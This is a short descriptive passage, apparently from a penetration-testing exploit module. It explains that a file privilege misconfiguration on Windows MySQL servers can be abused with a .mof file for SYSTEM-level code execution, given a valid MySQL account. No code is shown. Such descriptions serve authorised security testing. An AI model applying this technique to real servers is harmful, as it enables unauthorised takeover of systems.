|
|
This module takes advantage of a file privilege misconfiguration problem
|
|
specifically against Windows MySQL servers (due to the use of a .mof file).
|
|
This may result in arbitrary code execution under the context of SYSTEM.
|
|
This module requires a valid MySQL account on the target machine.
